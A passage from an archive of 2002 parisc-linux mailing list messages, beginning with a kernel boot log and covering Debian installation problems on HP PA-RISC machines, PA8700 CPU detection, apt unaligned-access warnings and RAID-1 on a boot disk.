SBA FDC/SYNC needed
lba version TR4.0 (0x5) found at 0xfffffffffed30000
lba range[2] : ignoring GMMIO (0xfffffff804000000)
lba version TR4.0 (0x5) found at 0xfffffffffed34000
lba range[2] : ignoring GMMIO (0xfffffff904000000)
lba version TR4.0 (0x5) found at 0xfffffffffed38000
lba range[2] : ignoring GMMIO (0xfffffffa04000000)
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
lba range[2] : ignoring GMMIO (0xfffffffb04000000)
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch support not available.
Performance monitoring counters enabled for Unknown machine
Starting kswapd
Journalled Block Device driver loaded
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Redundant entry in serial pci_table.  Please send the output of
lspci -vv, this message (103c,1048,103c,104b)
and the manufacturer and name of serial board or modem board
to serial-pci-info@lists.sourceforge.net.
ttyS00 at iomem 0xfffffffff8000000 (irq = 132) is a 16550A
ttyS01 at iomem 0xfffffffff8000008 (irq = 132) is a 16550A
ttyS02 at iomem 0xfffffffff8000010 (irq = 132) is a 16550A
ttyS03 at iomem 0xfffffffff8000030 (irq = 132) is a 16550A
ttyS04 at iomem 0xfffffffff8000038 (irq = 132) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=32
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at 0x0, 00:30:6E:26:61:A3, IRQ 128.
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 2, function 0
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 2, function 1
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 1, function 0
sym53c8xx: setting PCI_COMMAND_INVALIDATE (fix-up)
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 1, function 1
sym53c8xx: setting PCI_COMMAND_INVALIDATE (fix-up)
sym53c8xx: 53c896 detected 
sym53c875-0: rev 0x37 on pci bus 0 device 2 function 0 irq 130
sym53c875-0: ID 7, Fast-10, Parity Checking
sym53c875-1: rev 0x37 on pci bus 0 device 2 function 1 irq 131
sym53c875-1: ID 7, Fast-20, Parity Checking
sym53c896-2: rev 0x7 on pci bus 0 device 1 function 0 irq 129
sym53c896-2: ID 7, Fast-20, Parity Checking
sym53c896-2: handling phase mismatch from SCRIPTS.
sym53c896-3: rev 0x7 on pci bus 0 device 1 function 1 irq 130
sym53c896-3: ID 7, Fast-20, Parity Checking
sym53c896-3: handling phase mismatch from SCRIPTS.
scsi0 : sym53c8xx-1.7.3c-20010512
scsi1 : sym53c8xx-1.7.3c-20010512
scsi2 : sym53c8xx-1.7.3c-20010512
scsi3 : sym53c8xx-1.7.3c-20010512
  Vendor: SEAGATE   Model: ST39173LC         Rev: 5912
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi3, channel 0, id 15, lun 0
sym53c896-3-<15,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
SCSI device sda: 17781521 512-byte hdwr sectors (9104 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :  2984.800 MB/sec
   8regs_prefetch:  2400.000 MB/sec
   32regs    :  2430.800 MB/sec
   32regs_prefetch:  2283.600 MB/sec
raid5: using function: 8regs (2984.800 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 32768 buckets, 256Kbytes
TCP: Hash tables configured (established 262144 bind 65536)
ip_conntrack (8192 buckets, 65536 max)
ip_tables: (C) 2000-2002 Netfilter core team
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 400k freed
INIT: version 2.84 booting
Activating swap.
Adding Swap: 525288k swap-space (priority -1)
Checking root file system...
fsck 1.27 (8-Mar-2002)
/dev/sda3: clean, 35126/195456 files, 306933/390912 blocks
System time was Fri May 24 06:21:30 UTC 2002.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Fri May 24 06:19:43 UTC 2002.
Calculating module dependencies... depmod: Can't open /lib/modules/2.4.18-pa25/modules.dep for writing
done.
Loading modules: 
modprobe: Can't open dependencies file /lib/modules/2.4.18-pa25/modules.dep (No such file or directory)
Checking all file systems...
fsck 1.27 (8-Mar-2002)
/dev/sda4: clean, 19107/850304 files, 591710/1697536 blocks
Setting kernel variables.
Mounting local filesystems...
/dev/sda4 on /home type ext2 (rw,errors=remount-ro)
none on /dev/shm type shm (rw)
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: modprobe: modprobe: Can't open dependencies file /lib/modules/2.4.18-pa25/modules.dep (No such file or directory)
SIOCSIFADDR: No such device
modprobe: modprobe: Can't open dependencies file /lib/modules/2.4.18-pa25/modules.dep (No such file or directory)
eth1: ERROR while getting interface flags: No such device
modprobe: modprobe: Can't open dependencies file /lib/modules/2.4.18-pa25/modules.dep (No such file or directory)
SIOCSIFNETMASK: No such device
modprobe: modprobe: Can't open dependencies file /lib/modules/2.4.18-pa25/modules.dep (No such file or directory)
SIOCSIFBRDADDR: No such device
modprobe: modprobe: Can't open dependencies file /lib/modules/2.4.18-pa25/modules.dep (No such file or directory)
eth1: ERROR while getting interface flags: No such device
modprobe: modprobe: Can't open dependencies file /lib/modules/2.4.18-pa25/modules.dep (No such file or directory)
eth1: ERROR while getting interface flags: No such device
done.

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Thu May 23 23:19:46 PDT 2002

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogdeth0: Setting full-duplex based on MII#1 link partner capability of 01e1.



From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Fri, 24 May 2002 01:11:09 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20020524071109.4EB53482A@dsl2.external.hp.com>
References: <20020517130527.J32014@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517152054.4F2CE482A@dsl2.external.hp.com> <20020517172600.I29738@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517154923.47C7E4838@dsl2.external.hp.com> <20020521155220.A28518@humbolt.geo.uu.nl> <20020523063531.GH3471@sleepie.demon.co.uk> <20020523110227.B10015@humbolt.geo.uu.nl>  <3CED32CC.2030500@freebel.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621308 7451 80.91.229.3 (22 Nov 2014 01:55:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 01:11:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4EB53482A; Fri, 24 May 2002 01:11:09 -0600 (MDT)
In-Reply-To: Message from Joel Soete <joel.soete@freebel.net> 
   of "Thu, 23 May 2002 18:19:56 -0000." <3CED32CC.2030500@freebel.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14817

Joel Soete wrote:
> AFAIK you should prefer to install from a serial console

Good idea. Then update the kernel. That's not optional.
You might have to wait until Richard has spun a newer boot floppies lifimage.

> (anyway, i am not sure that usb keyboard and mouse are already supported?).

Yes. USB works.

I'm using a C3000 at home now with 1600x1200 on PCI Vis-EG card.
I think the FX gfx that's built-into the B2600 isn't supported.
I was using serial console (minicom on an OB600) until PCI vis-EG
support was working - post 0.9.3 release.

> You should also encounter another problem because the release of palo 
> installed with CD-0.9.3 do not yet support new scsi disk of 9Gb and more.

Could you clarify?
it's not listed in the release errata.
(http://www.parisc-linux.org/release-0.9/errata-093.html)

grant



From - Thu Nov 08 21:22:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8700 boots!
Date: Fri, 24 May 2002 01:14:08 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20020524071408.835DE482A@dsl2.external.hp.com>
References: <20020524065540.DBFE4482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621308 7453 80.91.229.3 (22 Nov 2014 01:55:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 01:14:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 835DE482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 01:14:08 -0600 (MDT)
In-Reply-To: Message from grundler@dsl2.external.hp.com (Grant Grundler) 
   of "Fri, 24 May 2002 00:55:40 MDT." <20020524065540.DBFE4482A@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14818

> I also need to fixup the "unkown device" (PA8700 CPU)
> in the hardware listing.
...

bah...pasting into the xterm must have had a ^D and the
mail got sent prematurely...here's the most interesting
opart of the output.

grant

:~# cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8700 (PCX-W2)
cpu MHz         : 650.000000
model           : 9000/800/A500-6X
model name      : Unknown machine
hversion        : 0x00005e20
sversion        : 0x00000491
I-cache         : 768 KB
D-cache         : 1536 KB (WB)
ITLB entries    : 240
DTLB entries    : 240 - shared with ITLB
bogomips        : 1297.61
software id     : 1940077826

:~#



From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Stanford <rotapile@winshop.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian install on K580
Date: 24 May 2002 18:09:33 +1000
Lines: 23
Approved: news@gmane.org
Message-ID: <1022227775.12724.9.camel@rotapile>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621308 7455 80.91.229.3 (22 Nov 2014 01:55:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:08 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 02:09:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cobra.winshop.com.au (cobra.winshop.com.au [203.22.127.31])
	by dsl2.external.hp.com (Postfix) with SMTP id A9D5D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 02:09:40 -0600 (MDT)
Original-Received: (qmail 29116 invoked from network); 24 May 2002 08:10:07 -0000
Original-Received: from cpe-203-45-167-61.qld.bigpond.net.au (HELO rotapile) (203.45.167.61)
  by 0 with SMTP; 24 May 2002 08:10:07 -0000
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-4) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14819

After installing the base system (woody) and rebooting, the base config
starts. Everything works fine till I get up to apt configuration. I
choose no to the below question and the error shown appears and ths
colsole (PDC) stops responding. I can still ping the box though.


Use security updates from security.debian.org?  
                                                                   . 
              <Yes>            <No>                      . 

apt-cache(429): unaligned access to 0x403d708c at ip=0x400614f7


I've had to netboot the machine with a custom kernel (2.4.18 from
parisc-linux.org) which I built with the cross compiler and mounted the
root.bin image via nfs to start the install. After that I completed the
install with the 0.9.3 CD , all due to the PDC console :) 

Regards
Robert Stanford




From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Fri, 24 May 2002 10:19:21 +0200 (CEST)
Lines: 42
Approved: news@gmane.org
Message-ID: <1022228361.3cedf7894d5dc@webmail.tiscali.be>
References: <20020517130527.J32014@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517152054.4F2CE482A@dsl2.external.hp.com> <20020517172600.I29738@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517154923.47C7E4838@dsl2.external.hp.com> <20020521155220.A28518@humbolt.geo.uu.nl> <20020523063531.GH3471@sleepie.demon.co.uk> <20020523110227.B10015@humbolt.geo.uu.nl>  <3CED32CC.2030500@freebel.net> <20020524071109.4EB53482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621309 7460 80.91.229.3 (22 Nov 2014 01:55:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:09 +0000 (UTC)
Cc: Joel Soete <joel.soete@freebel.net>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 02:19:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7041D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 02:19:24 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17BAID-0003QQ-00; Fri, 24 May 2002 10:19:21 +0200
In-Reply-To: <20020524071109.4EB53482A@dsl2.external.hp.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14820

Quoting Grant Grundler <grundler@dsl2.external.hp.com>:

> Joel Soete wrote:
> > AFAIK you should prefer to install from a serial console
> 
> Good idea. Then update the kernel. That's not optional.
> You might have to wait until Richard has spun a newer boot floppies
> lifimage.
> 
> > (anyway, i am not sure that usb keyboard and mouse are already
> supported?).
> 
> Yes. USB works.
> 
> I'm using a C3000 at home now with 1600x1200 on PCI Vis-EG card.
> I think the FX gfx that's built-into the B2600 isn't supported.
> I was using serial console (minicom on an OB600) until PCI vis-EG
> support was working - post 0.9.3 release.

Nice :-) (but no b2600 available even for test :( )

> 
> > You should also encounter another problem because the release of palo
> 
> > installed with CD-0.9.3 do not yet support new scsi disk of 9Gb and
> more.
> 
> Could you clarify?
> it's not listed in the release errata.
> (http://www.parisc-linux.org/release-0.9/errata-093.html)

My apolgy it is a mistake of mine (this problem was dated before cd 0.90)

Sorry again for confusion,
    Joel



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Stanford <rob@rotapile.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian install on K580
Date: 24 May 2002 18:25:33 +1000
Lines: 18
Approved: news@gmane.org
Message-ID: <1022228733.12724.15.camel@rotapile>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621309 7463 80.91.229.3 (22 Nov 2014 01:55:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:09 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 02:25:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rotapile (CPE-203-45-167-61.qld.bigpond.net.au [203.45.167.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9999482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 02:25:40 -0600 (MDT)
Original-Received: from rob by rotapile with local (Exim 3.22 #1 (Red Hat Linux))
	id 17BAOD-0003Le-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 18:25:33 +1000
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-4) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14821

I ran it again and got this error

Testing apt sources ...
Err http://security.debian.org stable/updates/main Packages
  404 Not Found
Ign http://security.debian.org stable/updates/main Release
apt-get(337): unaligned access to 0x403d7008 at ip=0x4009d16f
Not-handled unaligned insn 0x0e801210
Unaligned handler failed, ret = -1



Forgot to mention, that im running ext3, is this an error related to the
filesystem ?

Robert Stanford



From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian install on K580
Date: Fri, 24 May 2002 14:48:08 +0200 (CEST)
Lines: 45
Approved: news@gmane.org
Message-ID: <1022244488.3cee368861d59@webmail.tiscalinet.be>
References: <1022228733.12724.15.camel@rotapile>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621309 7467 80.91.229.3 (22 Nov 2014 01:55:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:09 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Robert Stanford <rob@rotapile.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 06:48:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6B9D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 06:48:32 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17BEUM-0007SR-00; Fri, 24 May 2002 14:48:10 +0200
In-Reply-To: <1022228733.12724.15.camel@rotapile>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14822

Hi Robert,

Quoting Robert Stanford <rob@rotapile.com>:

> I ran it again and got this error
> 
> Testing apt sources ...
> Err http://security.debian.org stable/updates/main Packages
>   404 Not Found

This message seems to me normal, AFAIK security only concern stable release
which is steel 'POTATO' (no implementation for hppa)

> Ign http://security.debian.org stable/updates/main Release
> apt-get(337): unaligned access to 0x403d7008 at ip=0x4009d16f
> Not-handled unaligned insn 0x0e801210
> Unaligned handler failed, ret = -1
> 

This is a message from kernel saying that process namely apt-get with pid=337
made an unaligned memory access.
I frequentely encounter this message (evms tools, jfs tools) which seems to be
harmless and so make think to a kernel bug.

> 
> 
> Forgot to mention, that im running ext3, is this an error related to
> the
> filesystem ?

Last week I just install a b2000 with also ext3 fs type and just make apt-get
dist-upgrade. All works fine without any error message.

Can you retry after having remove or comment out the line related to
'security.debian.org'?

Good luck,
    Joel



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] raid-1 on boot disk
Date: Fri, 24 May 2002 14:55:47 +0200 (CEST)
Lines: 18
Approved: news@gmane.org
Message-ID: <1022244947.3cee385378f63@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621310 7474 80.91.229.3 (22 Nov 2014 01:55:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 06:55:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0BE5482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 06:55:50 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17BEbk-0007WV-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 14:55:48 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14823

Hi all,

I just find a spare disk for my b180 and would like to test md mirroring on my
boot disk.

I am just a bit affraided because Software-RAID-HOWTO mentioned that the
persistent-superblock (requested for boot disk) is writen at the begining of disks.

Is somebody has already test this config and raidtools2 ?

Thanks in advance for info
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] raid-1 on boot disk
Date: Fri, 24 May 2002 15:11:01 +0200 (CEST)
Lines: 53
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205241504430.19280-100000@r6.petescaff.com>
References: <1022244947.3cee385378f63@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621310 7478 80.91.229.3 (22 Nov 2014 01:55:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
